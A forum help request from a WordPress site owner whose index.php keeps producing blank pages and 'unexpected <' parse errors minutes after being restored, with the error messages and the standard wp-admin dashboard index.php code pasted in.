Getting White Pages

Hey there..

Even since i mistakenly replace index.php file with some other file, but after that i replace it again, from wordpress directory…

i m keep getting errors like this.

/** * Front to the WordPress application. This file doesn’t do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define(‘WP_USE_THEMES’, true); /** Loads the WordPress Environment and Template */ require(‘./wp-blog-

and like this

Parse error: syntax error, unexpected ‘<‘ in /home/user/public_html/wp-admin/index.php on line 45

and this

Parse error: syntax error, unexpected '<' in /home/user/public_html/index.php on line 45

once i replace the index.php file with the original file, these errors goes away for like 10 minutes…

and here is how my index.php file looks like, when i m on error..

<?php
/**
 * Dashboard Administration Panel
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Bootstrap */
require_once('admin.php');

/** Load WordPress dashboard API */
require_once(ABSPATH . 'wp-admin/includes/dashboard.php');

wp_dashboard_setup();

wp_enqueue_script( 'dashboard' );
wp_enqueue_script( 'plugin-install' );
wp_enqueue_script( 'media-upload' );
wp_admin_css( 'dashboard' );
wp_admin_css( 'plugin-install' );
add_thickbox();

$title = __('Dashboard');
$parent_file = 'index.php';
require_once('admin-header.php');

$today = current_time('mysql', 1);
?>

<div class="wrap">
<?php screen_icon(); ?>
<h2><?php echo esc_html( $title ); ?></h2>

<div id="dashboard-widgets-wrap">

<?php wp_dashboard(); ?>

<div class="clear"></div>
</div><!-- dashboard-widgets-wrap -->

</div><!-- wrap -->

<?php require(
